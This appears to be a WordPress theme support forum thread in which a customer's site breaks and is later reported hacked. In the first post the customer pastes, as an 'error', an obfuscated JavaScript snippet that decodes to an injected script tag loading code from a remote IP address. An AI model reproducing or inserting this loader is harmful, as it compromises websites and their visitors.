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Website Not working due to theme plugins

This topic has 15 replies, 3 voices, and was last updated 7 years, 6 months ago ago by Olga Barlow

eonsoft

Participant

June 6, 2018 at 11:57

when i try to activate the wp bakery page builder plugin at the time my website goes to down.we don’t know why its happening like this .here below i mentioned what we have the error with your theme,

var _0x2515=[“”,”\x6A\x6F\x69\x6E”,”\x72\x65\x76\x65\x72\x73\x65″,”\x73\x70\x6C\x69\x74″,”\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C”,”\x77\x72\x69\x74\x65″];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

This is error we are getting while wp bakery page builder plugin activation.so we need to figure it out this issues asap.please help me to fix the issues.

#194406 Copied Theme version: 4.4 WooCommerce version: 3.4

14 Answers

Rose Tyler

Support staff

June 6, 2018 at 12:45

Hello,

Thanks for the topic.
Please provide us with temporary wp-admin access in the Private Content area.
Also, contact your hosting provider support and ask them to check error log if there are any notices regarding that error. Perhaps some PHP values need to be increased.

Regards

#194415 Copied

eonsoft

Participant

June 6, 2018 at 13:45

please try to fix the issues asap.

Please, contact administrator
for this information.

#194428 Copied

Rose Tyler

Support staff

June 6, 2018 at 13:57

Hello,

Make sure that your PHP version is not less 5.6.
Also, provide FTP access.

Regards

#194431 Copied

eonsoft

Participant

June 7, 2018 at 09:02

Yes we checked php version.
php version is 7.0,
please check this issues and fix it asap .we are in deadline.
in private attached ftp credentials

Please, contact administrator
for this information.

#194480 Copied Theme version: 4.4 WooCommerce version: 3.4

Olga Barlow

Participant

June 7, 2018 at 13:14

Hello,

You gave us access to the folder different than wp installation. We were able to find your WP installation but our user doesn’t have permission to edit files. Please, check the permissions for the user and allow us editing of the files of your WP installation because we need to enable WP debug, check then probably check and edit the other files.

Regards

#194513 Copied

Olga Barlow

Participant

June 7, 2018 at 13:36

Hello,

P.S.: 1) You are using dev version of WP http://prntscr.com/js1xsq I would not recommend testing of the new version of WP on the production site because it generated a lot of js errors and other options like theme update etc do not work. Install verified version 4.9.6.
2) If you use WC plugin 3.4.x then update Royal theme to version 4.5. Let me know about results.

Regards

#194516 Copied

eonsoft

Participant

June 7, 2018 at 14:09

Hereo attached image link for wp bakery page bulder error in my admin dashboard.kindly check and give me the proper solution.

or else share your contact number, it will be better for communication

#194527 Copied Theme version: 4.5 WooCommerce version: 3.4

Olga Barlow

Participant

June 7, 2018 at 14:18

Hello,

1) You are using dev version of WP http://prntscr.com/js1xsq I would not recommend testing of the new version of WP on the production site because it generated a lot of js errors and other options like theme update etc do not work. Install verified version 4.9.6.
2) If you use WC plugin 3.4.x then update Royal theme to version 4.5.
3) Let me know about results and provide FTP access with correct permissions if theme update and stable version of WP won’t fix the situation.

Regards

#194534 Copied

eonsoft

Participant

June 8, 2018 at 12:15

HI Sir, I Send the Login Details, Pls Fix the Error

Please, contact administrator
for this information.

#194575 Copied Theme version: 4.5 WooCommerce version: 3.4

Rose Tyler

Support staff

June 8, 2018 at 12:40

Hello,

Please change the WP version. As we said before, stable version of WP and latest theme version should be used on your site. In case, it won’t fix the problem, let us know.

Regards

#194577 Copied

eonsoft

Participant

June 11, 2018 at 06:31

Please tell about the following details clearly.
1.what we need to use wp version?
2.what we need to use your theme version?
3.what is the exact issuess on this theme?
Here you have to give me answer to me.i need to fix it today itself.you guys are taking long time for fixing this issues.

we are in deadline to delive this product.

please don’t take much time or this.already we gave all details to you.

i need tofix this issues today itself.

Give me the clear information.

Thank you
Eon Soft Tech

#194632 Copied Theme version: 4.4

Olga Barlow

Participant

June 11, 2018 at 08:29

Hello,

If you check your site you’ll see that even when the default theme is enabled nothing works fine:
1) a lot of js errors in the console when you inspect the Dashboard https://gyazo.com/f50f5649014d858ba3b02a070d823011

2) a lot of js errors on the frontend https://gyazo.com/74b5ae9b676cd52aaa63f7622b2199e2
3) page can’t be edited even with the default theme https://gyazo.com/fe64c99a2f644b31b20e8c96a666ef57

We suppose the problem is related to the development version of WordPress that you are using. We are theme support and issues related to default WP installation are out of the scope of our support. Please, install the working version of WordPress first (https://wordpress.org/download/), after that reply me back and we’ll install the latest version of Royal theme.

Regards

#194640 Copied

eonsoft

Participant

June 14, 2018 at 14:16

Hey,

Whats the issues going with your theme,

its happening second time in past 10 days,

my website is hacked (http://happyproducts.co.in)

kindly check with this issues, why its happening continusly????
?
?
?
?
?
?
?
comeon man,
REALLY ITS BULLSHIT.I NEED TO FIX IT NOW.

do not feel good with your theme purchase.

Please, contact administrator
for this information.

#194890 Copied Theme version: 4.5 WooCommerce version: 3.5

Olga Barlow

Participant

June 15, 2018 at 09:18

Hello,

If your site is hacked you need to contact your server provider and make your site more secure using up to date system, plugins and also special plugins to make site secure. Theme does not have security valnulabilities. If you are not satisfied using our theme you can submit refund request.

Regards

#194961 Copied
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